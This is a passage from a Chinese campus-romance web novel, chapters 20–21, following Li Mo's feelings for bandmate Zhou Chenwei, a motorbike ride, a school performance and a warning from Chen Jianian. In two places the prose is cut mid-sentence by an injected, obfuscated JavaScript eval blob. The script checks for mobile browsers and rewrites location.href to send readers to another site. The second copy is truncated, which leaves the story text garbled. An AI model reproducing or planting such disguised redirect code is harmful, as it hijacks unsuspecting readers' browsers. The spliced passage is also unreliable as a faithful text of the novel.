只是,得到了她们短暂的陪伴后,他总是会再一次陷入孤独的深渊,恶性循环,周而复始。 但李茉和她们不一样。 她安静内敛,不是叽叽喳喳话很多的人,也不会嗲着嗓子向他撒娇,像是宿醉过后一杯温开水,又像是冰天雪地里一杯冒着热气的抹茶牛奶。 有她在身边,他总会觉得安心。 他实在解释不了这种奇怪的感觉。 20. 牛奶 李茉在陈尚恩的房间睡了一觉才醒过来。她睁眼的时候看了一眼手机上的时间,刚好是凌晨一点。 “醒了?”见她睁眼,正坐在书桌前写歌的陈尚恩递了杯水过来:“你这里是我在校外租的房子,你今晚就住这里吧。” 李茉接过水杯捧在手里,有些好奇地环视了一圈。 陈尚恩的公寓不是性冷淡风,反而堆垒了很多粉粉嫩嫩的小物件,李茉甚至在她的书桌上找到了一本日文版的少女漫画。 她怎么都想不到,陈尚恩这种表面上冷艳厌世的酷姐,私底下居然这么有少女心。 酒精的后劲很大,李茉的头脑还是昏昏沉沉的,她揉了揉脑袋,问:“我怎么会在你这里?周辰纬送我来的吗?” “对啊,”陈尚恩冲她促狭一笑,挤眉弄眼:“你睡衣还是他帮你换的呢。” “啊?”李茉下意识捂了一下胸口。 床边有盏落地灯,发着莹莹的暖光。李茉身上穿的是陈尚恩的一件吊带睡衣。睡衣下一双腿又细又长,全身皮肤像牛奶一样。 她那对锁骨更是精致漂亮,两颊还带着不胜酒力的一抹红,是种清丽到极致的美。 陈尚恩又盯着她看了好几秒,才笑起来:“哈哈哈,不逗你了,他把你送到我这儿就走了。” 李茉拍了拍心口,这才如释重负地松了口气。 李茉强烈的情绪波动全被陈尚恩看进了眼里,想了几秒后,陈尚恩还是试探着问:“茉茉,你喜欢......周辰纬吗?” “我——”李茉下意识想要矢口否认,可陈尚恩毕竟是她的好友,她也知道陈尚恩不是大嘴巴的人,最后她还是承认了。 “恩恩,你怎么看出来的?”李茉疑惑问道。 “就上次,我们一起打车去岁宁街,郑玉芝一直没话找话地扒拉着他聊天的那次,”陈尚恩一脸认真地解释,“你自己都没注意到,你的眼神一直黏在了他身上。我就是这样看出端倪的。” “有这么明显吗?”李茉语气惊诧。 “不过你放心,周辰纬肯定还没看出来,”陈尚恩捏了把她的脸蛋:“虽然传言都说他玩得花,不过我们这帮人高中就开始组乐队,相处这么久了,他的品性我多少知道一点。” “他从来不会吊着不喜欢的人,如果他对你没感觉,还看出来你喜欢他这件事,肯定早就拒绝你了。”陈尚恩接着说道。 陈尚恩租的房子是一室一厅的格局,卧室里面只有一张小床,两个女生只能睡在一起。 李茉刚才眯了一会,现在怎么都睡不着,陈尚恩又是个夜猫子,两人就盖着同一床被子,一起聊了会天。 多数时候,都是陈尚恩絮絮叨叨地讲述fearX乐队的趣事,李茉安静地听着。 陈尚恩讲到前年给谢明河过生日的场景时,李茉吞了吞口水,犹豫了两秒还是脱口而出:“周......辰纬的生日不也快到了吗,恩恩,你知道他喜欢什么东西吗?” “物质上的东西,他应该都不缺,”陈尚恩想了想:“不过他这个人挑得很,拨片只用手工做的木质的那一种,因为其他材质的拨片他没有手感。” “嗯......”李茉默默记在心里。 “诶,对了,”陈尚恩的小脑袋凑了过来:“我想问问你,前段时间你怎么各种聚餐都不参加?和周辰纬闹别扭了?” “也不算吧......是我单方面自尊受挫,不敢面对他而已。”李茉无精打采地把当时发生的事讲了一遍。 陈尚恩沉吟了一下:“茉茉,其实他不是单独针对你的,只是牵涉到了他妈妈。对周辰纬来说,妈妈就是他的逆鳞。” “周辰纬一出生他爸爸就入狱了,直到他上初中的时候才出来。人生的前十四年,他和妈妈相依为命,对妈妈一直有很深的感情,”陈尚恩叹了口气,接着说道:“后来他妈妈在他初三那年出事,他和他爸的关系也不怎么好,就这么孑然一人地长大了。很多时候我都觉得,他身上有种深入骨髓的孤独。” 李茉默默地听着,没有再接话。 那个晚上,李茉睡得很不好。 酒精的副作用很快显现,她的胃像被火焰灼烧,一阵一阵地泛酸,最后她抱着马桶狂吐,折腾到凌晨三点才睡得着觉。 不过她的生物钟已经定型了,前一天无论多晚入睡,次日早上六点也一定会醒。 李茉醒来的时候,陈尚恩还在床的另一侧睡得死沉死沉的。想到今天的早八课,李茉翻身下了床。 明城花苑离学校可不近,公交要坐四十分钟左右。她不敢耽误时间,洗漱完就打算下楼了。 北禾的冬天昼短夜长,这个点天还半黑着,空气中带着透骨的凉意。李茉身子打了个颤,把外套裹得更紧了些,才步履匆匆地走下楼。 刚下楼就闻到了一股熟悉的烟草味道,她抬眼,借着一线天光,看清了眼前的那个朝思暮想的人。 周辰纬穿的是件黑色的帽衫,颈间银色的锁骨链散发着冷冷金属光泽。他指间夹着支烟,正有一搭没一搭地散漫吸着。 他看起来像是在等人。 李茉觉得他身上的烟草气味似乎更浓烈了一些,混着一点淡淡的沐浴露香气和雪松气味,并不难闻。 她心里正别扭着,想装作不认识匆匆离开,可身体的本能反应促使她过去打了个招呼:“周辰纬,你怎么会在这里?” 周辰纬偏了偏头,看了她一眼:“陈尚恩没和你说吗?最近在修路,去学校的公交停运了。你们早八不能迟到,我送你过去。” 离得近了,李茉才看见他眼底的红血丝。他似乎是一夜没睡,神情倦怠,正有一搭没一搭地嚼着水果糖,姿态散漫。 “谢谢你送我,”李茉踟蹰着说:“不然......我来打车吧。” “打什么车,”周辰纬指了指不远处一辆机车:“我们坐这个。” 周辰纬的机车通体呈碳黑色,线型流畅凌厉,李茉多看了两眼,越看越像岁宁街院子里停的那辆,离得近了,她在引擎盖上看到了一个熟悉的z型刻字。 这个字z,一看就是周辰纬的字迹。 “周辰纬,这辆车是你的吗?”李茉看着他问。 “是我的。”他棱角分明的面容上浮现出笑意。 “啊,我还以为是靳泽的,他过生日我还给他送了这款车的模型。”李茉有些不好意思地小声说道。 怪不得靳泽拆开礼物的时候,神情直接僵住了,她还以为靳泽不喜欢她送的礼物,原来是送错了对象。 “我知道啊,”周辰纬随手掐了烟,肩膀抖动着,笑意加深:“那个模型我拿走了,就当你送我的礼物吧。” “忘了说,我很喜欢这份礼物。”周辰纬盯着她说道。 “你......你喜欢就好,”李茉心跳忽然加速,脸颊也有些红,磕磕绊绊地回了一句话。 她努力平复了一下情绪,语气纠结:“不然,我补送靳泽一份礼物?周辰纬,你知道他喜欢什么吗?” “你不用管他。他过生日,不少女生给他送了东西,包括他那些能组一支足球队的前女友们,”周辰纬似笑非笑地说道,“不过嘛,都被他放在杂物间吃灰了,拆都懒得拆。” 谈话间,两人走到了周辰纬停放摩托车的地方。他找出一个小号偷窥递了过来:“这个戴一下,新的,没有人用过。” 北禾那一年还没有限摩,戴好头盔就可以上路。李茉刚坐上后座,周辰纬的声音从前方传过来:“坐稳点,抓紧我。” “嗯,好。”李茉手都紧张得不知道往哪儿放,闻言只好抓住他的腰。 隔着厚厚的卫衣,她摸到了他腰侧的肌肉,手感很硬,□□又紧实,没有一丝疏于锻炼的痕迹,带着这个年龄的男生独有的力量感。 滚烫的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351463|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感,灼得她心口也开始发烫。 感受到腰间的力度,周辰纬的脊椎不由得麻了一下,他定了定神,踩下油门。 正值早高峰,开车必定会堵,所幸周辰纬开了机车,他车技娴熟,开得也稳,两人抵达学校时,时间也只过去了二十分钟。 “好了,去上课吧,记得吃个早饭。”周辰纬撂下句话,重新跨上机车。 “你也要记得吃。”李茉凝望他的背影,呢喃道。 校庆晚会定在10月的最后一天,当天下午,李茉一下课就去了后台化妆。负责给她化妆的是新闻学院的一个学姐。 李茉刚坐到化妆镜前,学姐拿着粉刷在她脸上对比了下:“你皮肤太白了,我这个粉底是黄一白,用在你脸上还不如不用。” “就是熬夜痕迹太重,我给你眼下打点遮瑕吧。”学姐说:“还有,眼影和口红怎么选?饱和度要高一点还是低一点?” “我不想要太浓的妆容,化淡一点的可以吗?”李茉看着她问,完全是商量的语气。 “当然可以。”学姐笑眯眯地回道。 学姐很喜欢眼前这个瓷娃娃一样、乖巧文静的小学妹,而且她底子好,上完妆会更漂亮,所以学姐在她的妆容上格外用心。 半小时后,学姐化完了妆,李茉盯着镜中的女生看了几秒,她都快认不出来自己了。 她眼影腮红都只涂了薄薄一层,唇上涂了质地更润的镜面唇釉,色泽偏粉嫩,像樱花捣碎了做的酱,让人忍不住想咬上一口。 乐队在晚会上的演出比想象中还要顺利,乐队这群人是倒数第二个登场演出的,全场的气氛也因为他们的到来而到达高潮。 他们表演的是一支老牌摇滚乐队的冷门佳作,乐曲的中段还穿插着一段30s的个人solo。这段solo指法复杂,弹奏难度极高,李茉却完成得很出色。 她这天穿的是程玥的一件仿旗袍样式的短款连衣裙,一头乌发被挽起,身段曼妙,刚上台时,不少人还以为她要表演的是古筝之类的节目。 直到电吉他的声音响起时,人们才发应过来,这个外表看着乖乖巧巧的小姑娘,竟然是个又美又飒的电吉他手,这种极致的反差感挑动了不少观众的心。 一曲结束后,观众席上的尖叫声几乎要掀翻大礼堂的天花板。 表演结束后,李茉回到了后台,准备去更衣室把衣服换下来。 这件短款连衣裙是程玥撺掇她穿的,说是能起到更好的舞台效果。但由于裙长有些短,李茉一整晚都不太自在。 李茉刚换好衣服从更衣室出来,就撞见了一身黑衣的陈嘉年。作为校学生会主席,他今晚一整晚都待在后台,负责演出的调度。 “茉茉,今天的演出很惊艳,”陈嘉年看着她,露出个很温和的笑:“我现在还记得,十岁的你因为被蒋阿姨逼迫着去上吉他课而哭鼻子的样子。” “谢谢你夸我。”李茉笑起来的时候眼睛弯弯的,像两道细细的月牙。 “今晚要不要一起吃个饭?想吃什么随便选,我请。”陈嘉年语气绅士,眼含期待地看着她。 时间有点晚了,李茉没有吃夜宵的习惯,刚想开口和他换个时间,就听到门边传来一声很轻的哼笑。 李茉回头望去,周辰纬半倚在门框上,依旧是那副吊儿郎当的模样,只是视线掠过她右手的指尖时,他脸色微微变了变。 她原本如玉的指尖不知道为什么出现了几道伤疤,北禾的冬季尤其干燥,伤口开裂,在纤白漂亮的手上像一道道刻痕。 李茉下意识把右手往身后藏了藏,这些丑陋的伤疤,她不想被他看见。 周辰纬视线不着痕迹地在陈嘉年身上轻轻一掠,又飞快收回。 他盯着李茉,低低开口叫出她的名字,声音微哑,带着一丝不易察觉的占有欲。 “李茉,今晚有乐队庆功宴,我带你一起过去。” 21. 药膏 “你怎么没提前说要请我们吃夜宵?”出校门的路上,费开阳一脸困惑地问道。 周辰纬偏了偏头,看了一眼正和陈尚恩兴奋聊天的李茉,唇角勾起细微弧度:“临时起意,不行吗?” 费开阳眼神狐疑地打量了他几眼,又看了眼走在前面那个乖巧纤细的身影,脑海里渐渐蹦出来一个近乎不可能的想法。 但不过片刻,费开阳就打消了这个想法。 李茉乖巧文静,像一株静默的植物,周辰纬却放荡张扬,像一阵不羁的风。这样天差地别的两个人,任谁都不会把他们联系在一起。 几人商量了一下,还是把聚餐的地点定在了上次吃过的那家烧烤店。 那家烧烤店位于学校附近的美食街里,一行人刚走进美食街,就看到了一条从烧烤店门口排出来的长龙。 李茉和陈尚恩面面相觑,都从对方脸上看见了错愕。这家烧烤店,今天又不是周末,也不是节假日, “你们在这里等着,我过去问问怎么回事。”费开阳说。 五分钟后,费开阳拨开人群钻了出来:“有个美食博主给这家拍的视频火了起来,现在来吃的都是慕名前来的网友。店家说想吃上至少得等四十分钟,我们要等吗?” “等吧,”周辰纬发了话:“你们找个位置坐一下,我去买包烟。” 陈尚恩肚子已经饿了,这会儿馋虫被勾起,径自去了一旁的炸串摊买了不少串串,回来分给大家。 李茉这会儿不是很有胃口,只挑了串豆腐。豆腐很烫,她只能小口小口地咬。 一串豆腐刚吃完,周辰纬就走了回来,看见她嘴角不小心沾上的辣椒粉,他修长而骨节分明的手指抽了一张纸巾,很轻在她唇角揩了一下。 “刚才我看到卖糖葫芦的大叔出摊了,想不想吃?”周辰纬看着她,神色很淡。 “嗯......好。”李茉没有拒绝的理由。 摊主显然认出了他们,笑容满面:“帅哥,又带女朋友来买糖葫芦啊?” 女朋友。 听见这三个字,李茉心一跳,下意识抬眼去看周辰纬。 许是被误会过太多次,面对这种调侃他也懒得解释,表情淡淡的,不承认,也不否认。 典型的渣男做派。 买完糖葫芦,周辰纬并没回去,而是单手插兜,继续往巷子的深处走。 李茉虽然不明就里,也只好跟在他身边。 深秋时节,前段时间又下过几场雨,巷子里的几棵银杏树下落英缤纷,时不时有金黄色的叶子打着旋儿飘到他们脚边。 忽地,周辰纬手机震动了一下,是费开阳发了条消息过来:【买包烟要这么久?你把李茉妹妹拐哪儿去了?】 周辰纬嗤笑一声,他根本懒得回,直接按熄了屏幕。 在他身边,李茉有些心不在焉,她没低头看脚下的路,不小心踩在一截枯枝上,枯枝断裂喀嚓的响声即刻吸引了周辰纬的注意。 周辰纬嘴里叼着烟,语气戏谑:“你最近很难约啊,十次聚餐有九次都不出来。” “没有,”李茉忙解释,脸有点热:“就是在做兼职。” 周辰纬点点头,一脸浑不在意的模样。就在李茉以为这个问题已经结束了的时候,周辰纬却忽然顿住了脚步。 地面上,他高大的影子把她的尽数覆盖。周辰纬定定地看着她,问出了最近一段时间总在他心头缠绕的困惑: “李茉,你最近......很缺钱吗?” “你怎么知道?”李茉语气惊诧。 “不是很明显吗?”周辰纬反问。 最近一段时间,李茉和乐队其他人的往来少了很多,所有需要A钱的活动她都不愿意参加,还多找了一份兼职。 “郑玉芝告诉我,今年校庆晚会的奖金会上调,所以我才给乐队报了名,”周辰纬仰头,呼出一口白烟,“如果你有困难,都可以和我说。我们是......朋友,我都会帮你。” 朋友吗?李茉的心情有些复杂,一方面她为了自己和周辰纬关系近了一步而感到开心,另一方面......她不想只是普通朋友。 她喜欢了他很久很久,所有的少女心事都是他,如果只做普通朋友的话,那也太不甘心了。 从巷口出来后,右拐几米就是一家药店,两人来到药店门口,周辰纬的目光扫过她的手指,留下一句话:“在这等我。” 他只进去了几分钟就走了出来,手上提着一个药袋。 忽地,一道乍雷直直劈了下来,旋即,大颗大颗的雨滴争先恐后地从天而降。 这场雨下得又大又急,李茉看了眼脚上的白色帆布鞋,心里犯了难。 “在这儿躲会吧,”药店门口的屋檐下有排塑料椅,周辰纬坐了下去,大剌剌地靠着椅背:“一时半会也回不去了。” 李茉想了想,挑了个离他最远的位置坐下,周辰纬看着她拘谨的模样,无声地笑了笑。 他右手扎进口袋,捞出一个打火机,正打算点支烟时,余光瞥见一旁安安静静的李茉,动作一顿。 周辰纬最终把打火机放回口袋,手指敲了敲他身边的座位:“怎么不坐过来?” “啊?”李茉表情有点懵。 “坐过来。”周辰纬重复,声线沉沉。 周辰纬打开药袋,取出一支药膏:“练琴也不用那么努力吧,手上都起了水泡,岂不是很疼?” 李茉伸手一看,她指尖的水泡已经开始溃破,传来针扎似的、细细密密的疼痛。 他拧开药膏,抓了她的手放在大腿上:“药店医师说这支比较有用,但涂上可能有点疼。” “我不怕。” 话是这么说,但药膏真涂上之后,痛感加倍,李茉咬紧了唇不想发出声音,可一滴生理性眼泪还是不自觉地流了下来。 周辰纬看着她笑了:“你到底干什么了把手指弄成这样?” “干了一件......我心甘情愿的事。”李茉一字一顿说道,神情认真。 离周辰纬的生日越来越近,次日下午,李茉刚上完课就直奔位于北禾市中心的一家香水集合店。 她试过了十几种香型终于确定,周辰纬用的香水是出自一个当时大多数人都没听说过的小众品牌,名字叫LeLabo。 他用的那一款,是lelabo的santal33,一瓶正装抵得上她半个月的生活费。 李茉付款的时候不免有些肉痛,这件礼物是有些颠覆她消费观的存在。不过校庆晚会的奖金已经打到了她账户上,她还是咬咬牙买了下来。 她只想让他开心。 李茉回到学校后先回了趟宿舍,把东西放好后就去了学校的二食堂。 吃完饭后,李茉刚走出食堂大门,就在门外看见了陈嘉年。 他穿着一件黑色高领毛衣,更衬得脸色苍白俊美,背脊挺得很直,气质卓立如松,看起来像是在等什么人。 李茉本想和他打声招呼,可她刚走到他面前,陈嘉年就开了口:“茉茉,我有事要和你说,现在方便吗?” 李茉虽然不明就里,还是点了点头:“可以。” “走吧,请你喝奶茶。”陈嘉年说。 食堂不远处的地下超市里,有家连锁的奶茶店。这家口味好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“周辰纬这个人,可能并非你看到的那样,他内心潜藏着暴戾、动荡又危险的因子。这样的人极其危险,”陈嘉年叹了口气,觑着她神色,斟酌着说:“茉茉,你招架不住的。” 李茉咬了咬唇,问:“嘉年哥,你和周辰纬很熟吗?” “没有,”陈嘉年沉吟了几瞬,说:“只是听说过这个人,我和他是同一所高中的。” “如果你都不了解他,为什么要拿一段不知前因后果的视频来否认他的品性?”李茉轻声问。 陈嘉年看出她眼里隐藏的愠怒,迅速开口:“我不是那个意思——” 他试图说点什么,可话没说完,就被李茉打断。 少女声音清脆,清泠泠的眼里有着不容拒绝的坚定:“嘉年哥,我知道你是担心我,但我是个成年人了,交什么样的朋友,是我的自由。希望你......别再干涉我。” 说完这段话,李茉扭头就走。她走后,陈嘉年在店里又坐了一会儿,直到奶茶都凉了下来,他才站起身,把两杯奶茶全扔进了垃圾桶。 李茉虽然在别人面前坚定地维护了周辰纬,可从奶茶店回宿舍的一路上,她脑海中一直在反复回荡刚才的视频内容。 看到那段骇人的视频,她第一反应不是惧怕,而是下意识就开始思考周辰纬这么做的隐情。 经过这些天的相处,李茉渐渐觉得,周辰纬虽然行事作风恣肆随性、张扬不羁,但他并不是一个坏人。 相反,她在好多个瞬间,清晰地窥见到他温柔善良的人格底色。 这么好的一个人,为什么要经受这种主观臆测的诋毁? 李茉轻轻吐出一口气,她感觉,刚才她对陈嘉年的反驳,力度还是太轻了些。